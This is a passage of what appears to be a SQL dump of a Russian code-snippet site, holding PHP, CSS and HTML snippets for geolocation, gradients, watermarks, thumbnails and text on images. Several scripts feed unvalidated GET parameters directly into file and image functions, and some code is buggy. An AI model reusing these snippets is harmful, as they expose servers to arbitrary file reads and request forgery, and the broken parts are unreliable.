=> \'Uganda (Уганда)\', \'UK\' => \'United Kingdom
(Соединенное Королевство Великобритании
и Северной Ирландии)\', \'UM\' => \'United States
Minor Outlying Islands\', \'US\' => \'United States (США)\',
\'UY\' => \'Uruguay (Уругвай)\', \'UZ\' =>
\'Uzbekistan (Узбекистан)\', \'VA\' => \'Holy See, Vatican
(Ватикан)\', \'VC\' => \'Saint Vincent and the Grenadines
(Сент-Винсент и Гренадины)\', \'VE\' =>
\'Venezuela (Венесуэла)\', \'VG\' => \'Virgin Islands,
British (Виргинские острова, Британские)\',
\'VI\' => \'Virgin Islands, US (Виргинские острова,
США)\', \'VN\' => \'Vietnam (Вьетнам)\', \'VU\' =>
\'Vanuatu (Вануату)\', \'WF\' => \'Wallis and Futuna
Islands\', \'WS\' => \'Western Samoa (Западное
Самоа)\', \'YE\' => \'Yemen (Йемен)\', \'YT\' =>
\'Mayotte\', \'YU\' => \'Yugoslavia (Югославия)\', \'ZA\'
=> \'South Africa (ЮАР)\', \'ZM\' => \'Zambia
(Замбия)\', \'ZW\' => \'Zimbabwe (Зимбабве)\' );
/*Сам этот массив уже интересен и ценен,
но в качестве примера выведем русское
название для страны RU*/ $strana=$country[\'RU\']; echo
substr( strtok($strana, \')\'), strpos($strana, \'(\') + 1);
?>','files_4490_1692_',151),(186,14,'Определение
местоположения по IP','Определение
местоположения по IP','function detect_city ( $ip ) {
$default = \'UNKNOWN\' ; if ( !is_string ( $ip ) || strlen($ip ) < 1
|| $ip == \'127.0.0.1\' || $ip == \'localhost\' ) $ip = \'8.8.8.8\' ;
$curlopt_useragent = \'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US;
rv:1.9.2) Gecko/20100115 Firefox/3.6 (.NET CLR 3.5.30729)\' ; $url =
\'http://ipinfodb.com/ ip_locator.php?ip=\' . urlencode ( $ip) ; $ch =
curl_init () ; $curl_opt = array ( CURLOPT_FOLLOWLOCATION => 1 ,
CURLOPT_HEADER => 0, CURLOPT_RETURNTRANSFER => 1 ,
CURLOPT_USERAGENT => $curlopt_useragent , CURLOPT_URL => $url
, CURLOPT_TIMEOUT => 1 , CURLOPT_REFERER => \'<a
href="http://\' .">http://\' .</a>
$_SERVER [\'HTTP_HOST\'], ); curl_setopt_array( $ch , $curl_opt ); $content
= curl_exec( $ch); if (!is_null( $curl_info )) { $curl_info = curl_getinfo(
$ch ); } curl_close( $ch ); if ( preg_match(\'{<li>City :
([^<]*)</li>}i\', $content , $regs ) ) { $city =
$regs[1] ; } if ( preg_match(\'{<li>State/ Province :
([^<]*)</li>}i\', $content , $regs) ) { $state =
$regs[1] ; } if( $city!=\'\' && $state !=\'\' ){
$location = $city . \', \' . $state ; return $location ; }else{ return
$default ; } }','files_3784_1857_',151),(187,20,'Свой
шрифт)','Очеь простой код для того,что-бы
придать\r\nстилю свой шрифт,даже если его
нет в\r\nкомпьютере. Код актуален
для\r\nкомпьютеров,насчет
телефонов-не\r\nпроверялось. Смысл
прост-css файл\r\nподгружает на страницу
файл со\r\nшрифтом,который находится на
сайте.\r\nВместо xxx пишем семейство
шрифта(узнать\r\nможно его-открыв сам
шрифт)\r\nВместо /1.ttf указываем путь до
шрифта.','@font-face{ font-family: xxx; src: url(/1.ttf)}
html{font-family: xxx, Arial,
sans-serif;}','files_1552_3669_',151),(188,20,'Цифровые часы
на чистом CSS иjQuery','Часы работают
полностью на jQuery. Сами же
цифры\r\nрисуются на чистом CSS (т.е. никаких
картинок и\r\nникакого текста). Каждая
цифра состоит из 25 блоков,\r\nкоторые с
помощью CSS выстраиваются в квадрат
5?5','<span> <b class= "c11"
></b><b class ="c12"
></b><b class= "c13"
></b><b class ="c14"
></b><b class= "c15"
></b> <b class= "c21"
></b><b class ="c22"
></b><b class= "c23"
></b><b class ="c24"
></b><b class= "c25"
></b> <b class= "c31"
></b><b class ="c32"
></b><b class= "c33"
></b><b class ="c34"
></b><b class= "c35"
></b> <b class= "c41"
></b><b class ="c42"
></b><b class= "c43"
></b><b class ="c44"
></b><b class= "c45"
></b> <b class= "c51"
></b><b class ="c52"
></b><b class= "c53"
></b><b class ="c54"
></b><b class= "c55"
></b>
</span>','files_5520_5520_',151),(189,20,'Генирация
граддиентов','Создаём файл и туда лепим
этот код. Для\r\nпримера файл называется
gradient.php.\r\nПереходим по ссылке
типа\r\ngradient.php?\r\ntype=g&w=15&h=80&s=F01935&e=08B864\r\nРазсмотрим
что здесь что значит.\r\ntype - тип
градиента','<?php //определяем тип:
вертикальный или горизонтальный $type =
(isset($_GET[\'type\']) && $_GET[\'type\'] == \'g\') ?
\'g\' : \'v\'; //определяем высоту $height =
(isset($_GET[\'h\'])) ? abs((int)$_GET [\'h\']) : 100;
//определяем ширину $width = (isset($_GET[\'w\'])) ?
abs((int)$_GET [\'w\']) : 60; //определяем цвета $start =
(isset($_GET[\'s\']) && preg_match(\'#
[0-9A-F]{6}#\',$_GET[\'s\'])) ? $_GET[\'s\'] : \'000000\'; $end =
(isset($_GET[\'e\']) && preg_match(\'#[0-9A-
F]{6}#\',$_GET[\'e\'])) ? $_GET[\'e\'] : \'FFFFFF\'; //определяем
RGB этих цветов $start_r= hexdec(substr($start, 0, 2)); $start_g
= hexdec(substr($start, 2, 2)); $start_b = hexdec(substr($start, 4, 2));
$end_r = hexdec(substr($end, 0, 2)); $end_g = hexdec(substr($end, 2, 2));
$end_b = hexdec(substr($end, 4, 2)); //создаём картинку
$image = imagecreate($width, $height); //определяем тип и
рисуем градиент if($type == \'g\'){ for($x=0;
$x<$width; $x++){ $new_r = $start_r - intval(($start_r - $end_r) /
$width * $x); $new_g = $start_g - intval(($start_g - $end_g) / $width *
$x); $new_b = $start_b - intval(($start_b - $end_b) / $width * $x);
$row_color = imagecolorresolve($image, $new_r, $new_g, $new_b);
imageline($image, $x, 0, $x, $height, $row_color); } }else{ for($y=0;
$y<$height; $y++){ $new_r = $start_r - intval(($start_r - $end_r) /
$height * $y); $new_g = $start_g - intval(($start_g - $end_g) / $height *
$y); $new_b = $start_b - intval(($start_b - $end_b) / $height * $y);
$row_color = imagecolorresolve($image, $new_r, $new_g, $new_b);
imageline($image, 0, $y, $width, $y, $row_color); } }
header(\'Content-type: image/png\'); imagepng($image);
imagedestroy($image); //вот и всё :)
?>','files_3833_1522_',151),(190,20,'диаграмма','Маленькая
диаграмма в виде полосски. Через\r\nGET
запрос передаем количество
процентов,\r\nкоторое надо зарисовать.
Например rat.php?\r\np=42\r\nЗарисуется 42%
полоски.','<?php //Определяем сколько
надо закрасить $p = (isset($_GET[\'p\']) &&
$_GET[\'p\']>=0 && $_GET [\'p\']<=100) ?
(int)$_GET[\'p\'] : 50; //Создаем картинку $image =
imagecreate(123, 8); //Цвет фона $bg = imagecolorallocate ($image,
0, 0, 0); //Цвет активной части и надписи к-ва
% $act = imagecolorallocate($image, 210, 210, 210); //Цвет
пассивной части $emp = imagecolorallocate($image, 250, 250,
250); imagefill($image, 0, 0, $bg); imagefilledrectangle($image, 1, 1, 100,
6, $emp); if($p > 0) imagefilledrectangle($image, 1, 1, $p, 6,
$act); //Пишем к-во % imagestring($image, 1, 102, 0, $p.\'%\',
$act); header(\'Content-type: image/png\'); imagepng($image);
imagedestroy($image);
?>','files_2769_2579_',151),(191,20,'Полоска для
всего!)','В пример взят рейтинг для соцки.
Можно использовать в играх, соцках, да в
чём хочешь (главное переменные свои
поставить))).','$rating=50; //сколько рейта
$ratingall=100; //сколько максимум
$polosawidth=round(($rating/$ratingall)*100); //ширина полосы
echo "<div style=\'background: yellow; height: 10; width:
$polosawidth%;\'>Рейтинг</div>";','files_3590_4124_',151),(192,20,'Прикол
с счетчикам =)','Вот пример:
http://statok.net/m/allStats.php\r\nПередвинуты мишку
счетчикам =) И видите прикола','Добавим
это на css: [code] #king
a:hover{background-color:transparent;opacity:0.9;} #king
img{-moz-transition:all .8s ease-in-out;-webkit-transition:all .8s
ease-in-out;-o-transition:all .8s ease-in-out;-ms-transition:all .8s
ease-in-out;transition:all .8s ease-in-out;} #king
img:hover{-moz-transform:rotate(360deg);-webkit-transform:rotate(360deg);-o-transform:rotate(360deg);-ms-transform:rotate(360deg);transform:rotate(360deg);}
[/code] Вот код для вывода: [code] <span
id="king"><center> тут
счетчика</span>
[/code]','files_5637_3961_',151),(193,20,'Функция для
работы с изображениями BETA! (Imagick)','Это BETA
версия моего кода.\r\nПо мере возможности,
буду дорабатывать.\r\nИ помните, gd уже
умер.','<?php /* string $pic - исходный файл string
$save_as - имя обработанного файла array $prop -
Размер изображения boolean $save_animation -
Сохранение анимации при работе с .gif boolean
$save_prop - Сохранение пропорций изображения
array $corners - Скругление углов */ /*Примеры
использования: # Получим file.png размером
не превышающий 100x100 resize(\'file.jpeg\', \'file.png\',
array(100, 100)); # Получим file.png с размером 100x100,
даже если исходный был 16x16 resize(\'file.jpeg\',
\'file.png\', array(100, 100), 0, 0); # Получим file.png с
размером не превышающий 100x100 и
закругленными углами на 100 градусов
resize(\'file.jpeg\', \'file.png\', array(100, 100), 0, 1, array(100,
100)); */ function resize ($pic, $save_as, $prop, $save_animation = false,
$save_prop = true, $corners = array ()) { $format =
functions::format($pic); $thumb = new Imagick(); $source = new
Imagick($pic); foreach ($source as $thumb) { if ($save_prop) { if
($thumb->getImageHeight() > $prop[0])
$thumb->thumbnailImage(0, $prop[0]); if
($thumb->getImageWidth() > $prop[1])
$thumb->thumbnailImage($prop[1], 0); } else
$thumb->thumbnailImage($prop[0], $prop[1]); if (isset($corners[0])
|| isset($corners[1])) $thumb->roundCorners($corners[0],
$corners[1]); $thumb->setImagePage($thumb->getImageWidth(),
$thumb->getImageHeight(), 0, 0); if ($save_animation == false)
break; } $thumb->setFirstIterator(); if ($save_animation
&& $format == \'gif\') $save =
$thumb->writeImages($save_as, true); else $save =
$thumb->writeImage($save_as); $thumb->destroy();
$source->destroy(); return $save; }
?>','files_2070_2057_',151),(194,20,'создание 3д
блоков','И так, наша задача сделать\r\nблок,
который бы выглядел как
3д-\r\nобъект.\r\nРазберем код: background:
linear-gradient (-225deg, #d2c1af, #b3a79a); - это создание
градиента на фон, при\r\nэтом ось
градиента находится под\r\nуглом, в данном
случае значение\r\n-225deg отвечает за
начало\r\nградиента в верхнем лвеом
углу.\r\nВторой параметр - это начальный
цвет, третий - конечный. border:3px solid #a09488; -
рамка для всех сторон. Ну тут все ясно,
но\r\nглавное чтобы цвет был
немного\r\nсветлее чем конечный
цвет\r\nградиента. По сути это будет
цвет\r\nдля нижней и правой границ рамки.
border-top-color:#d2c1af; border- left-color:#d2c1af; -меняем
цвета верхней и левой границ
на\r\nначальный цвет градиента. box-shadow: 5px 5px
7px #474441; - тень. Отступаем на пять пикселей
от начальной позиции по\r\nх и у, 7рх -
увеличение ширины\r\nтени(начальная
ширина равна\r\nразмерам объекта). Третий -
цвет\r\nтени','.block { background: linear-gradient (-225deg,
#d2c1af, #b3a79a); border:3px solid #a09488; border-top-color:#d2c1af;
border-left-color:#d2c1af; border-radius:3px; box-shadow: 5px 5px 7px
#474441; }','files_3352_4243_',151),(195,20,'Тексt на
картинку.','Текст,картинка,цвет\r\nа выводы
делайте Сами','<?php $img=$_GET [\'img\']; $copy=
strtoupper ($_SERVER [\'HTTP_HOST\']); if($img=="")
exit(); writeTextOnImage ($img, "Www.MySuperSite.Com");
function writeTextOnImage ($filename, $text) { if($filename==
"")exit(); $size_img= getimagesize ($filename);
if($size_img [2]==2)$src_img = imagecreatefromjpeg ($filename); elseif
($size_img[2]==1) $src_img= imagecreatefromgif ($filename); elseif
($size_img[2]==3) $src_img= imagecreatefrompng ($filename); if(!$src_img)
exit(); //Назначаемцвет $color= imagecolorallocatealpha
($src_img,255, 255,0,10); $font_file= "impact.ttf";
$img_x=imagesx ($src_img); $img_y=imagesy ($src_img); $height_font= 13;
$angle=0; //Записьтекста поверх изображения
$xminus=$img_x -130; $box= imagettftext ($src_img, $height_font,
$angle,$xminus, $img_y-8, $color, $font_file, $text); //Вывод
изображенияв браузер if($size_img [2]==2) {
header("Content- type:image/ jpeg"); imagejpeg
($src_img); } elseif ($size_img[2]==1) { header("Content-
type:image/ gif"); imagegif ($src_img); } elseif ($size_img[2]==3)
{ header("Content- type:image/ png"); imagepng
($src_img); } returntrue; }
?>','files_1584_5337_',151),(196,20,'Увеличение
картинки с сглаживанием','Увеличение
картинки с сглаживанием','<?php $from =
imageCreateFromJpeg("sample2.jpg"); $to =
imageCreateTrueColor(2000, 2000); imageCopyResampled( $to, $from, 0, 0, 0,
0, imageSX($to), imageSY($to), imageSX($from), imageSY($from) );
header("Content-type: image/jpeg"); imageJpeg($to);
?>','files_3701_3617_',151),(197,20,'Функция
определения окончания к
минутам','Возвращает
"правильное" слово
"минут" в соответствии с их
колличеством.\r\nНапример, 5 минут назад, 2
минуты назад.','<?php function wordMinutes($min) { $n =
substr($min, -2); if($n > 10 && $n < 15){$t =
\'\';}else{ $n = substr($min, -1); if($n == 1 ){$t = \'у\';} if($n
> 1 && $n < 5){$t = \'ы\';} if($n > 4
&& $n <= 9){$t = \'\';} if($n == 0){$t = \'\';} }
$word = \'минут\'.$t.\'\'; return $word; }
?>','files_4077_4655_',151),(198,20,'получение
координат по адресу для яндекс
карт','ключ получать здесь
http://api.yandex.ru/maps/form.xml','function yandex_get_coordinate($addr)
{ $key = \'blabla==\'; //API ключ для работы с Яндекс
картами $content =
file_get_contents(\'http://geocode-maps.yandex.ru/1.x/?geocode=\' .
urlencode($addr) . \'&key=\' . $key);
preg_match(\'/<pos>(.*?)<\\/pos>/\', $content,
$point); // вырезаем нужные нам координаты
$coordinate = explode(\' \', trim(strip_tags($point[1]))); list($x, $y) =
$coordinate; return array($x, $y);
}','files_3321_5595_',151),(199,20,'Динамический
логотип','В моем коде переменная текст
принимает значение из файла с
настройками.\r\nтакже и размер шрифта и
цвет фона. Думаю сложности не возникнут .
Для вставки лого на страницу пишите
нечто вроде <img class="logo"
src="images/logo.php">','$size=45;
$font=\'../images/ttf/Coffee.ttf\'; $text=$_SERVER[\'HTTP_HOST\'];
$box=imagettfbbox ($size,0, $font, $text); $ri=$box[\'2\'];
$le=$box[\'0\']; $size_w=$ri-$le+10; $image=imageCreate($size_w,$size);
$colour=imageColorAllocate($image,0,150,0);
$col_text=imageColorAllocate($image,0,0,0);
imageTTFText($image,$size,0,5,$size,$col_text,$font,$text);
header("Content-type: image/png");
imagepng($image);','files_2574_4611_',151),(200,20,'Добавление
водяных знаков на изображения','Для
защиты своих изображений от копирования
рекомендуется использовать водяные
знаки (ватермарки). Но наносить их
вручную на каждое изображение не совсем
правильно и быстро. Поэтому рекомендуем
Вам воспользоваться PHP кодом,
позволяющим добавлять указанный водяной
знак на изображение при его выводе на
экран.\r\n\r\nДля добавления водяных знаков
на изображениях Вашего сайта Вам
необходимо создать два файла: watermark.png -
изображение ватермарка и watermark_to_image.php -
скрипт добавления ватермарка на
указанное изображение.','В файл
watermark_to_image.php поместите следующий PHP код
добавления ватермарка: [code]<?php $img =
$_GET[\'src\']; $watermark = imagecreatefrompng(\'image/watermark.png\');
$watermark_width = imagesx($watermark); $watermark_height =
imagesy($watermark); $img_path = $img; if (strstr($img_path, \'.jpg\'))
$img = imagecreatefromjpeg($img_path); elseif (strstr($img_path, \'.png\'))
$img = imagecreatefrompng($img_path); if ($img === false) { return false; }
$size = getimagesize($img_path); $dest_x = $size[0] - $watermark_width -
5; $dest_y = $size[1] - $watermark_height - 5; imagealphablending($img,
true); imagealphablending($watermark, true);
imagecopy($img,$watermark,$dest_x,$dest_y,0,0,$watermark_width,$watermark_height);
if (strstr($img_path, \'.jpg\')) imagejpeg($img); elseif
(strstr($img_path, \'.png\')) imagepng($img); imagedestroy($img);
imagedestroy($watermark); ?>[/code] Обратите
внимание, что данный код позволяет
добавлять ватермарки только на
изображения с расширениями jpg или png!!!
Теперь для того, чтобы наложить водяной
знак на необходимое изображение, при
выводе изображения на сайте используйте
следующий код: [code]<img
src="watermark_to_image.php?src=image.png"
alt="">[/code] Большим плюсом
данного способа нанесения водяных
знаков на изображение является
возможность менять водяной знак сколько
угодно раз без изменения исходных
изображений. Обращаем Ваше внимание на
то, что водяные знаки к изображениям
добавляются динамически (при каждом
обращении к изображению) и,
следовательно, нагрузка на сервер
возрастает. При очень большом количестве
изображений на сайте (галереи
изображений и т.д.) использование данного
способа не
рекомендуется.','files_2734_2324_',151),(201,20,'Наложение
картинки на картинку','Наложение
картинки на картинку','<?php $img =
$_GET[\'img\']; /// путь к картинке которую
копирайтим $im = imagecreatefromjpeg($img); $lg =
imagecreatefrompng(\'copyrite.png\'); /// наша картинка
копирайта $img_x = imagesx($im); $img_y = imagesy($im);
$img_x_copy = imagesx($lg); $img_y_copy = imagesy($lg); imagecopy($im, $lg,
$img_x-$img_x_copy, $img_y-$img_y_copy, 0, 0, $img_x_copy, $img_y_copy);
header(\'Content-Type: image/jpeg\'); imagejpeg($im); imagedestroy($im);
/// чистим мусор imagedestroy($lg); /// чистим мусор
?>','files_3115_1339_',151),(202,20,'Универсальная
сетка','Универсая
резиновая\r\nсетка.\r\nописание
элементов:\r\not - 1/3 ширины родителя\r\ntt - 2/3
ширины родителя\r\noh - 1/2 ширины
родителя\r\nВ использовании очень
проста,\r\nкомбинируя элементы
можно\r\nпостроить практически
любую\r\nсетку.\r\nПримеры:\r\nдва блока в
ряд\r\n<div
class="oh">первый</div>\r\n<div
class="oh">второй</div>\r\nдва
блока в ряд(первый\r\nбольше
второго\r\n<div
class="tt">первый</div>\r\n<div
class="ot">второй</div>\r\nтри
блока в ряд\r\n<div
class="ot">первый</div>\r\n<div
class="ot">второй</div>\r\n<div
class="ot">третий</div>\r\nчетыри
в ряд\r\n<div
class="oh">\r\n<div
class="oh>первый</div>\r\n<div
class="oh>второй</div>\r\n</div>\r\n<div
class="oh">\r\n<div
class="oh">третий</div>\r\n<div
class="oh">четвертый</\r\ndiv>\r\n</div>\r\nпять
в ряд\r\n<div
class="tt">\r\n<div
class="ot">первый</div>\r\n<div
class="ot">второй</div>\r\n<div
class="ot">третий</div>\r\n</div>\r\n<div
class="ot">\r\n<div
class="oh">четвертый</\r\ndiv>\r\n<div
class="oh">пятый</div>\r\n</div>\r\nДальше
писать не буду и так\r\nдумаю ясно
стало','.oh,.ot,.tt{ float: left; padding:0 1%; margin: 0; }
.ot{width:31%;} .oh{width:48%;}
.tt{width:65%;}','files_1992_1519_',151),(203,20,'Превьюшка
(gif)','Создание превьюшек. И gif
формата.\r\n\r\nТребуется imagick.\r\n$image[\'md5\'] -
название файла\r\n200 - ширина получившейся
картинки','function parse_make_thumb($image) { // создаем
превью if ($image[\'width\'] <= 200) {
file_put_contents("thumbs/".$image[\'md5\'].".".$image[\'type\'],
file_get_contents("images/".$image[\'md5\'].".".$image[\'type\']));
return; } else { $xscale = $image[\'width\'] / 200; $new_width =
round($image[\'width\'] * (1 / $xscale)); $new_height =
round($image[\'height\'] * (1 / $xscale)); } $thumb = new Imagick(); try
{
$thumb->readImage("images/".$image[\'md5\'].".".$image[\'type\']);
} catch (ImagickException $e) { echo
"<center><h3>Непотянуло
файл:
".$image[\'md5\'].".".$image[\'type\']."</h3></center>";
return 0; } //делаем превью, размер меньше, чем
у фона, чтобы было куда впихнуть тень //
$thumb->thumbnailImage($new_width, $new_height); if
($thumb->getNumberImages() > 1) { foreach ($thumb as $frame)
{ $frame->resizeImage($new_width, $new_height,
Imagick::FILTER_TRIANGLE, 1); } //записываем картинку
$thumb->writeImages("thumbs/".$image[\'md5\'].".".$image[\'type\'],
1); } else { // $thumb->resizeImage($new_width, $new_height,
Imagick::FILTER_TRIANGLE, 1); try { $thumb->thumbnailImage(200,
null); } catch (ImagickException $e) { echo
"<center><h3>Непотянуло
файл:
".$image[\'md5\'].".".$image[\'type\']."</h3></center>";
return 0; }
$thumb->writeImage("thumbs/".$image[\'md5\'].".".$image[\'type\']);
} //подчищаем за собой $thumb->destroy(); return;
}','files_4253_4609_',151),(204,20,'Создание
превьюшек','Использование:\r\n$thumbnail = new
thumbnail;\r\n$thumbnail->open_save(\'1.jpg\', \'copy.jpgf\', $size,
2);\r\n$size = размер полученной картинки.','class
thumbnail { var $imgfile; function thumb($imgfile) { if
(!file_exists($imgfile)) die ("Cannot read the file!");
//detect image format //$this->img["format"] =
ereg_replace(".*\\.(.*)$","\\\\1",$imgfile);
$hz = explode(".", $name);
$this->img["format"] = $hz[sizeof($hz-1)];
$this->img["format"] =
strtoupper($this->img["format"]); if
($this->img["format"]=="JPG" ||
$this->img["format"]=="JPEG") {
//JPEG
$this->img["format"]="JPG";
$this->img["src"] = ImageCreateFromJPEG($imgfile);
} elseif
($this->img["format"]=="PNG") {
//PNG
$this->img["format"]="PNG";
$this->img["src"] = ImageCreateFromPNG($imgfile);
} elseif
($this->img["format"]=="GIF") {
//GIF
$this->img["format"]="GIF";
$this->img["src"] = ImageCreateFromGIF($imgfile);
} else { //DEFAULT echo "Not Supported File! Thumbnails can only
be made from .gif, .jpg and .png images!"; exit(); }
$this->img["lebar"] =
imagesx($this->img["src"]);
$this->img["tinggi"] =
imagesy($this->img["src"]); //default quality jpeg
$this->img["quality"]=100; } function
size_auto($size=100) { //size if
($this->img["lebar"]>=$this->img["tinggi"])
{ $this->img["lebar_thumb"]=$size;
$this->img["tinggi_thumb"] =
($this->img["lebar_thumb"]/$this->img["lebar"])*$this->img["tinggi"];
} else { $this->img["tinggi_thumb"]=$size;
$this->img["lebar_thumb"] =
($this->img["tinggi_thumb"]/$this->img["tinggi"])*$this->img["lebar"];
} } function jpeg_quality($quality=100) { //jpeg quality
$this->img["quality"]=$quality; } function
show($gd_version) { Header("Content-Type:
image/".$this->img["format"]);
if($gd_version==2) { $this->img["des"] =
imagecreatetruecolor($this->img["lebar_thumb"],$this->img["tinggi_thumb"]);
imagecopyresampled ($this->img["des"],
$this->img["src"], 0, 0, 0, 0,
$this->img["lebar_thumb"],$this->img["tinggi_thumb"],
$this->img["lebar"],
$this->img["tinggi"]); } if($gd_version==1) {
$this->img["des"] =
imagecreate($this->img["lebar_thumb"],$this->img["tinggi_thumb"]);
imagecopyresized ($this->img["des"],
$this->img["src"], 0, 0, 0, 0,
$this->img["lebar_thumb"],$this->img["tinggi_thumb"],
$this->img["lebar"],
$this->img["tinggi"]); } if
($this->img["format"]=="JPG" ||
$this->img["format"]=="JPEG") {
//JPEG
imageJPEG($this->img["des"],"",$this->img["quality"]);
} elseif
($this->img["format"]=="PNG") {
//PNG imagePNG($this->img["des"]); } elseif
($this->img["format"]=="GIF") {
//GIF imageGIF($this->img["des"]); } } function
save($save="",$gd_version) { if($gd_version==2) {
$this->img["des"] =
imagecreatetruecolor($this->img["lebar_thumb"],$this->img["tinggi_thumb"]);
@imagecopyresampled ($this->img["des"],
$this->img["src"], 0, 0, 0, 0,
$this->img["lebar_thumb"],
$this->img["tinggi_thumb"],
$this->img["lebar"],
$this->img["tinggi"]); } if($gd_version==1) {
$this->img["des"] =
imagecreate($this->img["lebar_thumb"],$this->img["tinggi_thumb"]);
@imagecopyresized ($this->img["des"],
$this->img["src"], 0, 0, 0, 0,
$this->img["lebar_thumb"],
$this->img["tinggi_thumb"],
$this->img["lebar"],
$this->img["tinggi"]); } if
($this->img["format"]=="JPG" ||
$this->img["format"]=="JPEG") {
//JPEG
imageJPEG($this->img["des"],"$save",$this->img["quality"]);
} elseif
($this->img["format"]=="PNG") {
//PNG
imagePNG($this->img["des"],"$save");
} elseif
($this->img["format"]=="GIF") {
//GIF
imageGIF($this->img["des"],"$save");
} } function open_save($open, $save, $size, $gd) {
$this->thumb($open); $this->size_auto($size);
$this->save($save, $gd); }
}','files_3867_4516_',151),(205,20,'Функция создание
мини-изображений','$imgfile - путь к исходному
изображению\r\n$imgthumb - имя для нового
файла\r\n$newwidth - ширина нового файла( как
правило уменьшают по ширине)','function
create_img_gd( $imgfile, $imgthumb, $newwidth ) { if
(function_exists(\'imagecreate\')) { $imginfo = getimagesize( $imgfile );
switch( $imginfo[2] ) { case 1: $type = IMG_GIF; break; case 2: $type =
IMG_JPG; break; case 3: $type = IMG_PNG; break; case 4: $type = IMG_WBMP;
break; default: return $imgfile; } switch( $type ) { case IMG_GIF: if
(!function_exists("imagecreatefromgif")) return $imgfile;
$srcImage = imagecreatefromgif( $imgfile ); break; case IMG_JPG: if
(!function_exists("imagecreatefromjpeg")) return
$imgfile; $srcImage = imagecreatefromjpeg( $imgfile ); break; case IMG_PNG:
if(!function_exists("imagecreatefrompng")) return
$imgfile; $srcImage = imagecreatefrompng( $imgfile ); break; case IMG_WBMP:
if (!function_exists("imagecreatefromwbmp")) return
$imgfile; $srcImage = imagecreatefromwbmp( $imgfile ); break; default:
return $imgfile; } if ( $srcImage ) { $srcWidth = $imginfo[0]; $srcHeight
= $imginfo[1]; $ratioWidth = $srcWidth / $newwidth; $destWidth = $newwidth;
$destHeight = $srcHeight / $ratioWidth; $destImage = imagecreatetruecolor(
$destWidth, $destHeight ); imagealphablending($destImage, true);
imagealphablending($srcImage, false); imagecopyresized($destImage,
$srcImage, 0, 0, 0, 0, $destWidth, $destHeight, $srcWidth, $srcHeight);
switch( $type ) { case IMG_GIF: imagegif( $destImage, $imgthumb); break;
case IMG_JPG: imagejpeg( $destImage, $imgthumb); break; case IMG_PNG:
imagepng( $destImage, $imgthumb); break; case IMG_WBMP: imagewbmp(
$destImage, $imgthumb); break; } imagedestroy($srcImage);
imagedestroy($destImage); return $imgthumb; } else { return $imgfile; } }
else { return $imgfile; }
}','files_1637_1314_',151),(206,20,'Анимация
текста','Создания анимационого текста
Test','<?php $animation = new Imagick();
$animation->setFormat(\'gif\'); $color = new
ImagickPixel(\'white\'); $color->setColor(\'white\'); $string =
\'Test\'; $draw = new ImagickDraw(); //$draw->setFont(\'Arial\');
for ($i = 0; $i <= strlen($string); $i++) { $part =
substr($string, 0, $i); $animation->newImage(100, 40, $color);
$animation->annotateImage($draw, 10, 20, 0, $part);
$animation->setImageDelay(30); }
//$draw->setFont(\'Arial-Bold\');
$draw->setTextDecoration(imagick::DECORATION_UNDERLINE);
$animation->newImage(100, 40, $color);
$animation->annotateImage($draw, 10, 20, 0, $string);
$animation->setImageDelay(70); header(\'Content-Type: image/gif\');
echo $animation->getImagesBlob();
?>','files_5518_4457_',151),(207,20,'Предпросмотр
изображений','Предпросмотр
изображений','<? //путь к файлу
картинки (jpg,gif,png) $img =\'example.jpg\' ; $info = getimagesize
($img ); //оригинальная ширина $w_or = $info [ 0 ];
//оригинальная высота $h_or = $info [ 1 ]; //тип $type
= $info [ \'mime\' ]; //создаем изображение $im1 =\'\' ;
if ( $type ==\'image/jpeg\' ) $im1 =ImageCreateFromJpeg( $img ); if ( $type
==\'image/gif\' ) $im1 =ImageCreateFromGif ($img ); if ( $type
==\'image/png\' ) $im1 =ImageCreateFromPng ($img ); if (! $im1 ) die (
\'ошибка\' ); //далее условимся, что
максимальный размер одной из сторон
превьюшки равен 80 пикселей //высчитаем
коэффицент масштаба if ( $w_or > $h_or ) { $k =
$w_or / 80; } else { $k = $h_or / 80; } //высчитаем размеры
превьюшки $w = round( $w_or / $k ); $h = round( $h_or / $k );
//$im2=ImageCreate($w,$h); (если хотите ПЛОХОЕ
качество картинки испоьзуйте эту
функцию ;) ) $im2 =imagecreatetruecolor ( $w , $h );
//ImageCopyResized($im2,$im1,0,0,0,0,$w,$h,$w_or,$h_or); (если
хотите ПЛОХОЕ качество картинки
испоьзуйте эту функцию ;) ) imagecopyresampled( $im2
,$im1 , 0 ,0 , 0, 0 ,$w , $h , $w_or , $h_or ); if ( $type ==\'image/jpeg\'
) { header (\'Content-type:image/jpeg\' ); ImageJpeg ( $im2 ); } elseif (
$type == \'image/gif\' ) { header (\'Content-type:image/gif\' ); ImageGif
($im2 ); } elseif ( $type == \'image/png\' ) { header
(\'Content-type:image/png\' ); ImagePng ($im2 ); } else die (
\'ошибка\' ); ?>','files_2926_2720_',151),(208,20,'Вывод
надписи на изображении шрифтом','Вывод
надписи на изображении шрифтом','<?
//текст в утф-8 (можно с переносом строки)
$text = "выводимая \\n строка" ;
//АБСОЛЮТНЫЙ путь к шрифту! например
шрифт arial.ttf лежит в папке скрипта $font = getcwd
(). \'/arial.ttf\' ; //создаем изображение 100*100 $im =
imagecreatetruecolor (100 , 100 ); //белый фон
изображения $white = imagecolorallocate ( $im , 255 , 255 , 255
); //цвет букв $red = imagecolorallocate ( $im , 255 , 0, 0);
//заливаем белым фоном imagefilledrectangle ($im , 0, 0 ,
100 , 100 , $white ); //наносим текст imagettftext ($im , 9, 0,
10, 20, $red , $font ,$text ); /* imagettftext (
идентификатор, размер шрифта, угол
поворота, начальная точка по Х, начальная
точка по У, путь к шрифту, текст ) */
//выдача в браузер header (\'Content-Type: image/jpeg\' );
imagejpeg ($im ); ?>','files_4863_3666_',151),(209,20,'Текст
на картенку','Текст,картинка,цвет','<?php
$img =$_GET [ \'img\' ]; $copy = strtoupper ( $_SERVER [ \'HTTP_HOST\' ]);
if( $img =="") exit(); writeTextOnImage ( $img ,
"Www.MySuperSite.Com" ); function writeTextOnImage (
$filename, $text ) { if( $filename == "")exit();
$size_img = getimagesize ( $filename); if( $size_img [ 2]== 2 ) $src_img =
imagecreatefromjpeg ( $filename); elseif ( $size_img [2 ]== 1 ) $src_img =
imagecreatefromgif ( $filename); elseif ( $size_img [2 ]== 3 ) $src_img =
imagecreatefrompng ( $filename); if(!$src_img ) exit();
//Назначаемцвет $color = imagecolorallocatealpha ( $src_img ,
255 , 255 , 0, 10); $font_file = "impact.ttf" ; $img_x =
imagesx ( $src_img ); $img_y = imagesy ( $src_img ); $height_font = 13;
$angle =0 ; //Записьтекста поверх изображения
